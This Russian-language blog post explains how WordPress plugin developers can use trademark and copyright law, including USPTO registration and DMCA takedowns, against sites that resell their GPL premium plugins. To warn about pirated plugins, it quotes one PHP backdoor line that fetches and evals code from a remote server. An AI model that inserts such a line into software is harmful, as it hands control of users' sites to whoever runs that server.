Полное руководство по юридической защите вашего бизнеса плагинов GPL WordPress от троллей

Лицензирование программного обеспечения может быть очень запутанным предметом, особенно в мире открытого исходного кода. Границы законности и этики не всегда четкие. Но поскольку владельцы бизнеса сосредоточены на продаже плагинов WordPress GPL, мы обязаны тщательно разбираться в этих темах.

Этот пост не будет касаться этики и сосредоточится на юридических аспектах. Он предоставит вам пошаговую действенную формулу, включая отзывы опытных юристов в этой области, для защиты вашего бизнеса WordPress от «троллей» плагинов.

Как разработчик подключаемых модулей за последние пять лет я прочитал множество статей, в которых обсуждалась GPL, ее свободы и проблемы, связанные с ведением бизнеса, соответствующего GPL. Но в последние несколько месяцев эта тема стала для меня еще более значимой.

В августе за мной следил аккаунт в Твиттере под названием «Плагины WordPress» (https://twitter.com/plugswp). По привычке я проверил их профиль, чтобы узнать больше об этом пользователе. Вскоре я обнаружил, что обработчик был связан с «wppluginscheap.com», «троллем» плагинов и тем, который рекламирует себя как «источник номер 1 для дешевых премиальных плагинов и тем WordPress». Просматривая сайт, я нашел множество популярных премиальных плагинов, таких как Yoast SEO, Backup Buddy, WP Robot и 50 премиальных тем. Каждый продукт продается менее чем за 10 долларов.

Каким бы наивным я ни был, я запрыгнул на WPChat и начал новую тему:

Мы все кодировали под угрозой того, что какой-нибудь тролль появится и перепродаст наши плагины / темы GPL по смешным ценам. Ну… это здесь. Как насчет покупки Yoast Premium SEO за 4 доллара… Я немного разозлился и, с другой стороны, позабавился, так как знал, что когда-нибудь оно появится.

Я задал сообществу два вопроса:
1. Как нам его снять?
2. Вы чувствуете угрозу?

Параллельно я зашел в группу Advanced WordPress в Facebook и загрузил следующий статус:

Joost de Valk и Thomas Hofter, если вы, ребята, не начали продавать свои плагины менее чем за 10 долларов, я думаю, что эти ребята нарушают ваши торговые марки (и десятки других разработчиков плагинов). Как нам это сделать?

Если вы являетесь членом группы AWP, вы можете проверить всю ветку здесь.

Обе темы вызвали большой интерес и обсуждение. Я получил 17 ответов в WPChat и 84 комментария в группе AWP в Facebook. Когда ответы начали накапливаться, я понял две вещи:
1. Тролли плагинов / тем WordPress — это эпидемия — это происходит повсюду!

Это происходит уже давно, хотя в основном с темами и надстройками WooCommerce. См. gplclub.org и sozot.com. WPAvengers.com сделал что-то подобное перед тем, как закрыться.

– Леланд Файгель, основатель WPChat.

2. Несмотря на то, что есть сотни сообщений в блогах о каждом аспекте лицензии GPL, в экосистеме все еще много путаницы. Даже среди инфлюенсеров. Похоже, что многие люди думают, что технически это нормально (хотя и неэтично), поскольку плагины и темы распространяются под лицензией GPL.

Эти оппортунисты появляются время от времени и, кажется, никогда ничего не достигают. Это законно (во всяком случае, часть GPL), но неэтично. Это лениво. И это плохо для покупателей, потому что товар в сомнительном состоянии, устаревший, несопровождаемый и подозрительный.

– Стивен Глибе, разработчик тем и основатель Pro Plugin Directory.

Это неэтично, однако, если я, как владелец магазина тем/плагинов, выпускающих GPL, я бы сказал, что я чувствую себя еще более неэтичным, если могу сказать это, чем эти парни, и полным лицемером.

– Ионут Нягу, основатель CodeinWP

Другие комментарии, полученные на Facebook, включали:

• Если бы плагины были под лицензией GPL, то боюсь, что они ничего не умеют
• Я не думаю, что премиум-версии находятся под лицензией GPL.
• Это законно, под GPL

И таких гораздо больше!

Итак, прежде чем мы начнем, позвольте мне кое-что прояснить —

Это совершенно неправильно!

Разработчики по-прежнему имеют принудительные права, даже если их плагины распространяются под лицензией с открытым исходным кодом.
Эти «плагины-тролли» могут по-прежнему нести ответственность за нарушение прав на товарный знак и/или нарушение авторских прав.

Хочу добавить, что читал много отзывов о том, что эти тролли не наносят никакого вреда бизнесу. Если бы это было так, я бы не стал тратить столько времени на компиляцию этого поста. Я хотел бы воспользоваться возможностью, чтобы объяснить, почему тролли вредны для сообщества WordPress — для вашего бизнеса, а также для пользователей WordPress.

Почему тролли плагинов вредны для вашего бизнеса?

Упущенные доходы

Нравится вам это или нет, но часть пользователей купят или получат ваш премиальный плагин на этих сайтах. Особенно новичкам WordPress. Если бы я был новичком в экосистеме WordPress и искал плагин для SEO, Yoast SEO за 4 доллара звучит намного привлекательнее, чем полная цена. Я бы просто купил его. Так же, как я всегда ищу лучшую скидку при покупке смартфона или других продуктов. Мне не нужна «оригинальная гарантия», так как я никогда не использовал ее ни с одним из приобретенных продуктов, поэтому поддержка — это не то, что пользователи имеют в виду с самого начала.

Поддержка злоупотреблений

Если какие-то проблемы с купленным у тролля плагином — угадайте, кто в этом виноват? Конечно реальный разработчик/компания. Если произведение искусства, связанное с вашим брендом, будет воспроизведено, клиенты свяжутся с вами. Точно так же, как если бы я купил смартфон HTC на Amazon, когда у меня возникают проблемы с устройством, я звоню в службу технической поддержки HTC, а не Amazon. Что бы вы сказали пользователю? «Да, это наш телефон, но вам нужно обратиться в Amazon за технической поддержкой». Этот ответ будет трудно переварить пользователю. Это будет выглядеть так, будто вы не поддерживаете свои продукты.

Если какие-то проблемы с купленным у тролля плагином — угадайте, кто в этом виноват?Твитнуть

Ущерб бренду

Нет никаких сомнений в том, что некоторые тролли внедряют вредоносный код в плагины. Основным стимулом для этого является получение дохода при бесплатном распространении премиальных плагинов. Я сам был свидетелем этого. Два года назад ко мне обратился старший специалист по SEO из БОЛЬШОГО британского агентства (более 100 сотрудников). . Он предложил мне сотрудничество, добавив одну простую строку кода в наш плагин:
eval(wp_remote_get( 'http://www.company.com/path/to/api/endpoint/' )['body']);

Идея заключалась в том, что конечная точка API будет возвращать скрытые URL-адреса для продвижения обратных ссылок их портфельных компаний. Один из примеров, которые он прислал, был:

<a href="”http://www.portfolio-company.com”">Great Company</a>

Тролли могут внедрить вредоносный код в плагины, используя ваш оригинальный брендинг, что нанесет прямой ущерб вашему бренду!Tweet

Это было до Google Penguin и было отличным SEO-хаком. И предложение тоже было фантастическим — 0,1 доллара за домен в месяц. Так что, если бы у меня было 100 000 активных доменов, использующих мой плагин, я мог бы зарабатывать 10 000 долларов в месяц. доход, не тратя лишней минуты. Потрясающе, верно? Очевидно, мы этого не сделали по разным причинам, в первую очередь потому, что этот код был КРАЙНЕ вредоносным. Он открывает удаленный бэкдор, чтобы делать с сайтом все, что вы хотите. Даже если агентство намеревалось использовать его только для SEO, что произойдет, если их сервер будет взломан и кто-то с плохими намерениями возьмет на себя управление? Кто знает, сколько законных плагинов WordPress.org сотрудничало с этим агентством… Возвращаясь к троллям, их намерения чисто финансовые. Они не рекламируют ваши премиальные плагины ради развлечения, они хотят заработать. И если они совершают незаконные действия, такие как нарушение авторских прав и прав на товарные знаки, ничто не мешает им генерировать альтернативные источники дохода, такие как внедрение кода. О, и я забыл упомянуть, что если что-то подобное произойдет, вы будете виноваты! Это ваш продукт и ваш бренд.

Почему тролли плагинов вредны для пользователей?

По многим из тех же причин, о которых я упоминал, но с точки зрения пользователя.

Никакой поддержки

Столкнувшись с технической проблемой, тролль просто не сможет вам помочь. Это не их продукт, они понятия не имеют о коде или о том, как решить любые связанные с этим проблемы. Более того, у них нет для этого ресурсов поддержки. И если вы попытаетесь связаться с оригинальной компанией, у разработчиков премиальных плагинов есть инфраструктура для отслеживания своих клиентов. Компания часто не поможет вам, пока вы не купите оригинальную лицензию.

Нелегальные распространители плагинов не могут и не помогут вам с техническими проблемами.Tweet

Нет автоматических обновлений

Большинство премиальных плагинов на рынке сегодня имеют механизм лицензирования и обновлений (тролли часто «взламывают» эту часть перед распространением плагина). Механизм автоматического обновления работает так: раз в 24 часа плагин проверяет сервер исходной компании на наличие обновлений для премиум-версии. Он также аутентифицируется с помощью лицензионного ключа. Поскольку плагин тролля никогда не выпускался с лицензионным ключом от оригинальной компании, этот механизм обновлений НЕ будет работать. Поэтому каждый раз, когда устанавливается неоригинальный премиум-плагин, автоматических обновлений не происходит. Это плохо, так как хакеры постоянно находят новые креативные уязвимости, а устаревший премиальный плагин может стать причиной утечки безопасности.

Пиратские плагины WordPress не имеют механизма автоматического обновления — постоянная уязвимость системы безопасности! Твитнуть

Крупные утечки безопасности

Помните одну вредоносную строку кода, о которой я упоминал выше? Хотели бы вы иметь бэкдор на вашем сайте, открытый для хакеров? Этот бэкдор буквально позволяет хакеру модифицировать каждый пиксель и фрагмент контента на вашем сайте. И это только один пример, я уверен, что есть много других творческих инъекций.

Что покрывают лицензии с открытым исходным кодом?

Поскольку в сообществе разработчиков явно много путаницы по поводу этих вопросов, я обратился к моему другу Ариэлю Райниц и его коллеге Мэтью Хинцу, которые являются поверенными по интеллектуальной собственности (ИС) (патенты, товарные знаки и авторские права) в Lowenstein Sandler LLP, общенациональная фирма с офисами от Нью-Йорка до Пало-Альто.

Ариэль объяснил мне, что, хотя «тролли» плагина WP могут технически иметь право распространять код, который находится под лицензией с открытым исходным кодом (например, GPL), существуют другие права интеллектуальной собственности («ИС»), которые не подпадают под действие открытого исходного кода. лицензию, которую эти «тролли» все еще могут нарушать.

Вот что Ариэль говорит о GPL:

Важно понимать, что распространяется (и не распространяется) лицензия с открытым исходным кодом (GPLv2), под которой распространяется большинство плагинов WordPress:

Лицензия с открытым исходным кодом определяет, как должно распространяться программное обеспечение/исходный код. Как правило, такие лицензии позволяют любому бесплатно использовать, модифицировать и т. д. программное обеспечение/код. Таким образом, исходный код проекта с открытым исходным кодом может распространяться другими сторонами без нарушения условий GPL.

Проще говоря — свобода GPL позволяет любому брать исходный код и делать с ним все, что захочет, включая распространение. Я считаю, что в сообществе существует консенсус по этому поводу.

На что не распространяются лицензии с открытым исходным кодом?

Однако лицензии с открытым исходным кодом (включая GPLv2) обычно не распространяются на товарные знаки. Товарные знаки относятся к способу брендинга продукта (например, плагина, темы, приложения и т. д.) — например, название продукта (и/или компании-производителя), его слоган/слоган и т. д. /или его логотип. Таким образом, хотя исходный код проекта может свободно распространяться по лицензии с открытым исходным кодом, такая лицензия не предоставляет другим какие-либо права в отношении товарных знаков, связанных с проектом (например, название продукта, компания, разработавшая его, так далее.).

Другими словами, GPL не позволяет использовать какие-либо товарные знаки плагинов, такие как название продукта, название компании и логотип. Ариэль приводит пример:

Так, например, если третья сторона распространяет плагин WordPress, используя весь оригинальный брендинг проекта (например, продвигая его с оригинальным названием, логотипом и т. д. компании/проекта), это, вероятно, нарушит права на товарный знак оригинального разработчика. права. Как уже отмечалось, лицензия с открытым исходным кодом не позволяет кому-либо использовать чужой брендинг в коммерческом контексте. Это важно, поскольку одним из основных принципов законодательства о товарных знаках является защита потребителя от путаницы в отношении происхождения продукта.

Основные принципы закона о товарных знаках заключаются не только в защите бизнеса, но и в защите потребителя от путаницы в отношении происхождения продукта. Это важное замечание!

Также важно признать, что многие компании с открытым исходным кодом регистрируют, защищают и контролируют свои права на товарные знаки. Примеры включают: Linux , MySQL , Red Hat и WordPress .

Ариэль говорит здесь о том, что многие из крупнейших имен в области открытого исходного кода защищают и охраняют свои права на товарные знаки. Почему бы нам не сделать то же самое?

Если Red Hat может защищать и контролировать свои права на товарные знаки, почему этого не могут сделать разработчики плагинов?

В дополнение к правам на товарные знаки Ариэль указал, что разработчики также имеют право на защиту авторских прав на создаваемые ими материалы, которые не являются частью исходного кода:

Также важно понимать, что GPL (и другие лицензии с открытым исходным кодом) распространяются только на исходный код самого плагина. Но если разработчик создает материалы, не являющиеся частью исходного кода (например, графику, рекламные материалы, упаковку и т. д.), эти материалы не подпадают под действие GPL, и разработчик не обязан разрешать другой стороне перераспределить материалы.

Например, взгляните на то, как плагин «Yoast» представлен на некоторых сайтах «троллей», упомянутых выше. Хотя эти сайты технически могут распространять исходный код Yoast (поскольку он подпадает под GPL), эти сайты также включают такие элементы, как брендинг Yoast (например, название и логотип Yoast, которые являются товарными знаками ), а также другие творческие материалы, разработанные Yoast (например, изображение парня, пьющего чай, которое не является частью исходного кода Yoast, поэтому авторские права принадлежат Yoast и не подпадают под GPL).

Таким образом, хотя тролль может иметь законное право распространять исходный код Yoast, GPL (или другая лицензия с открытым исходным кодом) не дает им права использовать (а) брендинг (торговые марки) Yoast или (б) другую графику, материалы и т. д. ., (авторские права) . Поскольку они не являются частью исходного кода подключаемого модуля, эти элементы не подпадают под действие GPL, и поэтому права интеллектуальной собственности (ИС) на эти элементы являются исключительной собственностью разработчика .

Поскольку плагин «троллит» использует товарные знаки и защищенные авторским правом материалы разработчика (как в приведенных выше примерах «Yoast»), существуют юридические процедуры (которые мы подробно рассмотрим ниже), которые разработчики могут использовать для обеспечения соблюдения этих прав, чтобы остановить, отговорить или, по крайней мере, попытаться ограничить влияние этих «троллей» на ваш бизнес. Опять же, это так, даже если ваш плагин распространяется под лицензией GPL.

Что охраняется товарными знаками?

Мэтью объясняет, что охватывают товарные знаки:

Проще говоря, товарный знак — это уникальный идентификатор для потребителей, который отличает источник товаров или услуг от других. Чаще всего товарный знак представляет собой слово, логотип или некоторую комбинацию этих элементов. В Соединенных Штатах права на товарные знаки начинаются с использования в коммерческих целях (так называемые «права по общему праву»), а не с регистрации в Ведомстве США по патентам и товарным знакам (USPTO). Однако регистрация вашего товарного знака в ВПТЗ США дает владельцу множество преимуществ, недоступных в рамках прав общего права. В частности, они включают свидетельство исключительного права владельца регистрации на использование товарного знака на всей территории Соединенных Штатов в связи с товарами или услугами, указанными в регистрации, официальное уведомление о том, что лицо, зарегистрировавшее регистрацию, является владельцем товарного знака, перечень регистрации в USPTO. онлайн-база данных и возможность использовать символ. (До регистрации символ ТМ может использоваться с товарным знаком.)

Защищен ли код товарным знаком?

Во время моего исследования я прочитал несколько сообщений, в которых упоминалось, что при разветвлении плагина или темы под лицензией GPL код должен быть рефакторинг, чтобы убедиться, что нет функций, которые включают идентификатор товарного знака как часть имени функции. Чтобы уточнить это, я спросил Мэтью, защищен ли код товарным знаком, и вот ответ:

Сам код не защищен товарным знаком. Товарные знаки защищают слово или логотип, которые потребитель ассоциирует с вашими товарами или услугами. В этом случае ограничение защиты товарного знака для плагина будет ограничиваться словом или логотипом, используемым для продажи плагина потребителям. И затем фундаментальный тест на нарушение прав на товарный знак заключается в том, не будет ли потребителей сбита с толку сходством двух знаков. Сходство оценивается путем рассмотрения таких вещей, как визуальное и фонетическое сходство, насколько тесно связаны товары/услуги для каждого знака, насколько отличительны знаки и как долго знаки используются.

Чтобы уточнить ответ на удобном для разработчиков языке:

• Имена классов, имена функций, имена переменных и имена констант НЕ защищены товарным знаком.
• С другой стороны, строки, напечатанные на странице и видимые конечным пользователям, защищены товарным знаком.

Как подать заявку на регистрацию товарного знака?

Чтобы воспользоваться преимуществами федеральной регистрации товарного знака, ваш товарный знак должен быть зарегистрирован в ВПТЗ США. Заявка на регистрацию должна включать основную информацию: имя заявителя/владельца, знак, товары или услуги, с которыми используется знак, доказательства использования знака с этими товарами или услугами, а также даты первого использования этого знака. . Соображения для вашего приложения:

• Найдите в базе данных USPTO TESS (http://www.uspto.gov/trademark) одинаковые или похожие товарные знаки. Если такие же или похожие знаки поданы или уже зарегистрированы, это может быть основанием для отклонения вашей заявки. Также выполняйте поиск через Google или другие поисковые службы, поскольку знак можно использовать без регистрации и иметь более высокие права на этот знак, несмотря на вашу регистрацию. Регистрация не исчерпывает права предыдущего пользователя на товарный знак.
• Чтобы описать ваши товары или услуги, выполните поиск в Руководстве по идентификации USPTO на приемлемом языке: http://tess2.uspto.gov/netahtml/tidm.html . Вы также можете искать приемлемый язык на TESS.
• Классы — это общие указания, относящиеся к определенным полям товаров или услуг. Например, загружаемые плагины обычно относятся к классу 9, который охватывает все компьютерные программы и программное обеспечение.
• Сборы за регистрацию товарного знака определяются количеством классов. Общая плата составляет 275 долларов США за класс, но доступны более дешевые варианты подачи заявок.

После того, как заявка подана, ВПТЗ США проверит заявку, чтобы определить, является ли знак уникальным идентификатором (т. е. не описательным или сходным до степени смешения с ранее поданными заявками или регистрациями). USPTO предоставляет сроки подачи заявок: http://www.uspto.gov/trademark/trademark-timelines/trademark-application-and-post-registration-process-timelines .

Имейте в виду, что защита торговой марки является территориальной. Например, регистрация в США обеспечит защиту товарного знака в США.

Как описал Мэтью, процесс не обязательно сложный, но требует времени и усилий. Я бы порекомендовал заплатить юристу среднего звена, чтобы он сделал это за вас. Это будет стоить вам от 200 до 2000 долларов за работу, хотя это сэкономит ваше время и обеспечит лучшее применение. В любом случае, прежде чем начать, погуглите! Если вы найдете продукт или компанию (особенно в той же или похожей области), которые точно соответствуют вашему термину/фразе, велика вероятность того, что вы НЕ сможете зарегистрировать товарный знак (и, возможно, вы на самом деле нарушаете чужой товарный знак).

Что делать, если ваш товарный знак нарушен?

Я начну с того, что вы НЕ должны делать — если это нарушение прав на товарный знак, а не авторских прав, вы НЕ должны подавать заявление об удалении DMCA.

DMCA покрывает ТОЛЬКО нарушение авторских прав. Для товарных знаков аналогичное положение отсутствует. Использование уведомлений об удалении в соответствии с Законом США "Об авторском праве в цифровую эпоху" для претензий в отношении товарных знаков может привести к тому, что заявитель будет нести ответственность за ложные заявления.

Как правило, проще всего попытаться решить вопросы напрямую с владельцем веб-сайта. Если это не увенчается успехом, вы можете возбудить судебный иск против владельца веб-сайта, хоста и т. д. Конкретный подход, который вы выберете, скорее всего, будет зависеть от конкретного случая, и на этом этапе я бы посоветовал связаться с адвокатом, чтобы понять лучший вариант в ваших конкретных обстоятельствах. .

Что охраняется авторскими правами?

Авторское право отличается от товарного знака. Авторское право защищает оригинальные авторские произведения, зафиксированные в том или ином средстве выражения. Однако предел защиты авторских прав заключается в том, что она распространяется только на выражение, а не на идею. Категории произведений для защиты авторских прав включают литературные произведения (книги, код), музыкальные произведения, фотографии и изображения, кинофильмы, звукозаписи и другие категории. Еще одно ограничение заключается в том, что авторское право не защищает короткие фразы или выражения — это остается для защиты товарных знаков, пока они функционируют как уникальный идентификатор для потребителей, который отличает источник товаров или услуг от других.

Что делать, если ваши авторские права нарушены?

1. Сначала проще всего попытаться связаться с владельцем веб-сайта напрямую. Во многих случаях владелец веб-сайта заинтересован не больше, чем вы, в привлечении юристов, участии в судебных разбирательствах и т. д. Попробуйте найти учетную запись Twitter, контактный адрес электронной почты или контактную страницу на сайте и отправьте сообщение с требованием удалить ваш плагин с торговой маркой с веб-сайта.
2. Если это не поможет, вы можете отправить уведомление об удалении DMCA (Закон об авторском праве в цифровую эпоху). Существует множество генераторов, которые помогут вам создать его, просто введите в Google «генератор удаления dmca». Получив уведомление, вам необходимо отправить его владельцу сайта, хостинговой компании и интернет-провайдеру. Вы также можете отправить уведомление поисковым системам, чтобы удалить сайт из результатов поиска. Чтобы найти хостинговую компанию, вы можете использовать такие сайты, как whoishostingthis.com. Чтобы найти интернет-провайдера, вы можете использовать такие веб-сайты, как http://www.whoismyisp.org/. Чтобы найти соответствующую ссылку для подачи DMCA поставщику услуг Интернета/хостингу, введите в Google ISP_NAME/HOSTING_NAME + DMCA.

Кроме того, вы можете возбудить судебный иск против владельца веб-сайта, хоста и т. д. Я предлагаю связаться с адвокатом, чтобы понять, является ли это лучшим вариантом в ваших конкретных обстоятельствах.

Заключение

Я надеюсь, что этот набор пошаговых инструкций дал вам правильные инструменты для защиты вашего бизнеса плагинов GPL от троллей. Просто резюме:

• Как владелец бизнеса, вы имеете на это право и должны защищать бренд и активы своей компании.
• Товарные знаки и авторские права — это относительно дешевые и эффективные способы юридической защиты вашего бизнеса, связанного с плагинами. Поэтому вам следует серьезно подумать о регистрации товарных знаков для названия вашей компании и продуктов.
• Многие тролли нарушают как авторские права (например, поднимая вашу рекламную графику), так и права на товарные знаки (используя название вашего бренда). Создавая уникальное название бренда, логотип и произведение искусства, вы создаете портфолио, помогающее бороться с нарушением авторских прав.

Многие тролли нарушают как авторские права, так и товарные знаки. Создавая уникальное название бренда, логотип и иллюстрацию, вы создаете портфолио, помогающее бороться с нарушением авторских прав.Tweet

Если на стороннем веб-сайте ваш плагин или тема GPL премиум-класса выставлены на продажу или в дар без вашего согласия:

• Если на веб-сайте используются ваши оригинальные произведения искусства или другие материалы, скорее всего, это нарушение авторских прав. Вы можете подать заявку на удаление DMCA.
• Если на веб-сайте используется товарный знак вашей компании или продукта, скорее всего, это нарушение прав на товарный знак. Вы можете подать в суд на сайт.

Если у вас есть какие-либо дополнительные мысли о юридических и этических последствиях GPL, не стесняйтесь поделиться ими в комментариях ниже.

Отличные ссылки:

• Уведомление об удалении DMCA, выпущенное против форка WP Migrate DB Pro
• Лицензия GPL не дает права нарушать права на зарегистрированные товарные знаки
• Злоупотребляют ли WordPress GPL?
• Почему мы платим за лицензионный код GPL?